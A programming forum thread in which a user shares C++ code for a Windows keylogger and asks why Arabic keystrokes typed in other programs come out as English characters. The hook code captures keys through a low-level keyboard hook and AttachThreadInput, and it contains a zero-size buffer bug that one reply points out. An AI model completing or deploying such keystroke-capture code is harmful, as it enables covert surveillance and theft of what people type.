unable to get uni-code inputs from another thread
Hi
i am writing a key logger which logging uni-code chars by attach foreground window thread with my thread .
it works fine when i type English chars and it collect the right case of chars (small or capital) whether in current thread or in foreground thread .
the problem when i type Arabic chars in foreground thread ,my current thread receives the correspond chars in English.
As my current thread receives the right keyboardstate and Arabic chars when it is the foreground thread.
here is the code :
Code:
LRESULT CALLBACK keyproc(int nCode,WPARAM wparam,LPARAM lparam)
{
if(nCode ==HC_ACTION)
{
if(wparam==WM_KEYDOWN)
{
KBDLLHOOKSTRUCT *p=(KBDLLHOOKSTRUCT*)lparam;
byte b[256];
wchar_t *buff=new wchar_t[0];
AttachThreadInput(GetWindowThreadProcessId(GetForegroundWindow(),NULL), GetCurrentThreadId(),true);
if (GetKeyboardState(b))
{
ToUnicode(p->vkCode,p->scanCode,b,buff,1,0);
}
s
+=QString::fromWCharArray(buff,
1);
}
}
return 0;
}
any help please..........
Re: unable to get uni-code inputs from another thread
is there any one can help???????
Re: unable to get uni-code inputs from another thread
Should buff be allocated some space to hold characters?
Edit: Buff also seems to be a memory leak.
Re: unable to get uni-code inputs from another thread
I edited the code and i have the same result :when my thread is foreground thread it works correctly but else it doesn't .